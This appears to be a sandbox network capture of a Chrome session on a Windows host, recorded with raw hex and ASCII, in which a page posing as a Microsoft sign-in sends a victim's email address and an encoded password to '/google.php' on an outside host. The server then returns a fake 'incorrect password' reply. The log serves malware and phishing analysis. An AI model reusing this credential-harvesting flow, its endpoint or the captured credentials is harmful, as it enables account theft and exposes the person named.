PNGIHDRAtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 70 20 43 53 35 20 57 69 6e 64 6f 77 73 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 37 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 38 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 35 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 36 34 31 43 45 31 31 Data Ascii: p CS5 Windows" xmpMM:InstanceID="xmp.iid:D102A13741CE11E6A31DDAB08C35506E" xmpMM:DocumentID="xmp.did:D102A13841CE11E6A31DDAB08C35506E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D102A13541CE11E6A31DDAB08C35506E" stRef:documentID="xmp.did:D102A13641CE11
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: d2 64 63 f7 ee f1 e6 97 25 00 00 00 be 96 d5 85 ad b7 4b 80 8f 29 26 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 Data Ascii: dc%K)& @@<x @@<x @@<
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 Data Ascii: <x @@<x @@<x @@<
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 Data Ascii: <x @@<x @@<x @@
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 c0 2b 3b 77 8c d2 40 00 00 51 34 1b 52 2e 58 a4 11 72 09 0f 92 e3 79 17 3b 0b ab 94 76 62 23 96 16 b1 10 16 6c 0c eb 19 84 bf 60 d8 f7 8e 30 ed 87 01 00 80 80 00 0f 00 00 00 00 00 00 00 Data Ascii: <x @@<x @@<+;w@Q4R.Xry;vb#l`0
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 Data Ascii: @@<x @@<x @@<x
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 Data Ascii: x @@<x @@<x @@<x
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 Data Ascii: <x @@<x @@<x @@<
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: b1 00 00 00 00 c0 20 7f eb 49 ec 2c 8d 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 90 00 ec dc 2f 4e db 71 00 c6 e1 6f ff c8 d6 90 d4 20 10 0b 59 32 c1 25 30 73 d3 38 6e 31 c5 85 96 99 05 2e c0 1d 66 36 3d 07 92 64 84 2c Data Ascii: I,` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` `/Nqo Y2%0s8n1.f6=d,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:00 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:01 UTC	821	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BGyWrsebezLH9WPKrDfrtIBddEZa%2FH91hcWElGKzdWyxdWQs7xDl15PUSWf6r9ypkm3t%2Fvzd4Ijw3hvjNvpsktRYlj5uCjWL2kKHixhC3b2oK7biPZ2wt1GP%2Bkj2sm6qyrP557w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bbbf2cb8624e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=90605&min_rtt=90148&rtt_var=19707&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=964&delivery_rate=33389&cwnd=252&unsent_bytes=0&cid=d7f077085a785c8f&ts=404&x=0"
2025-03-27 17:51:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:03 UTC	637	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 41 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:03 UTC	41	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 6c 68 65 72 73 68 65 79 40 66 6f 75 6e 64 61 74 69 6f 6e 66 61 72 2e 6f 72 67 Data Ascii: do=check&email=lhershey@foundationfar.org
2025-03-27 17:51:04 UTC	929	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bym3vNbymG%2FQarsSQGvY6MHLRsDqceYqW2hTpVHdAfDIDHBgnqJxi1roOGZK3B6U6ocgHhvlNZm12qsNcGNnChbBzwmdncL77buH6XnJkXdkP6%2FmFcXiWNlAw%2FvA8B6SQ4jGa2I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bbd1ab65de92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=88974&min_rtt=88823&rtt_var=18972&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1272&delivery_rate=34222&cwnd=252&unsent_bytes=0&cid=218f109c4eae0a9e&ts=1054&x=0"
2025-03-27 17:51:04 UTC	95	IN	Data Raw: 35 39 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 6e 75 6c 6c 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 6e 75 6c 6c 2c 22 66 65 64 65 72 61 74 69 6f 6e 4c 6f 67 69 6e 22 3a 22 22 2c 22 74 79 70 65 22 3a 22 6f 66 66 69 63 65 22 7d 0d 0a Data Ascii: 59{"status":"success","banner":null,"background":null,"federationLogin":"","type":"office"}
2025-03-27 17:51:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	23.209.72.31	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:03 UTC	660	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:04 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: d9dbeb0f-b01e-00e4-2876-67c4b2000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=25401768 Date: Thu, 27 Mar 2025 17:51:03 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.9f04d217.1743097863.128f93b
2025-03-27 17:51:04 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	23.209.72.31	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:04 UTC	459	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:04 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: d9dbeb0f-b01e-00e4-2876-67c4b2000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=25401767 Date: Thu, 27 Mar 2025 17:51:04 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.9f04d217.1743097864.128f9f4
2025-03-27 17:51:04 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49755	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:05 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:05 UTC	825	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aMm6AW%2B9yGk7K9%2F9%2BkhcBNi4ZVR1scwp1jP4wK1mC7lXKpo9sj%2FjA7lXw22PaZbbUpiTPxm8tDm49Lw3smQDHCRFRG1%2FsUnmuCSH5bgVHDu67NSO70RK%2FNuOXgrL8GtdGkkobeo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bbd9bea17285-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89147&min_rtt=89103&rtt_var=18864&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=964&delivery_rate=34249&cwnd=250&unsent_bytes=0&cid=8ec977319d85a215&ts=413&x=0"
2025-03-27 17:51:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49756	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:15 UTC	637	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 70 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:15 UTC	70	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 6c 68 65 72 73 68 65 79 40 66 6f 75 6e 64 61 74 69 6f 6e 66 61 72 2e 6f 72 67 26 70 61 73 73 3d 58 79 55 79 4e 56 5a 58 4a 54 4e 44 64 55 34 6c 4e 55 55 32 4c 67 3d 3d Data Ascii: do=login&user=lhershey@foundationfar.org&pass=XyUyNVZXJTNDdU4lNUU2Lg==
2025-03-27 17:51:18 UTC	381	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Cf-Cache-Status: DYNAMIC CF-RAY: 9270bc1cde84f5f8-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 17:51:18 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d 0d 0a Data Ascii: 44{"status":"error","message":"Your account or password is incorrect"}
2025-03-27 17:51:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49757	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:18 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:51:19 UTC	817	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mrl8gLnoZgwayF%2FUfNAUCLBBdl5ivF6bidjW8IZdeYcVu0e64K2OdFpHFuDm69lHzBUGdvks9b1cYJl8eAEiKlaD1oRTT%2FWl85rAqSJOfYrBLIhjjHwyVO91EH4k7dlHxdoV9Z0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bc2ffbf84e4d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89910&min_rtt=89612&rtt_var=19197&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=964&delivery_rate=34101&cwnd=252&unsent_bytes=0&cid=dd4c05a44dbd8e04&ts=412&x=0"
2025-03-27 17:51:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49759	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:51:27 UTC	637	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 66 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
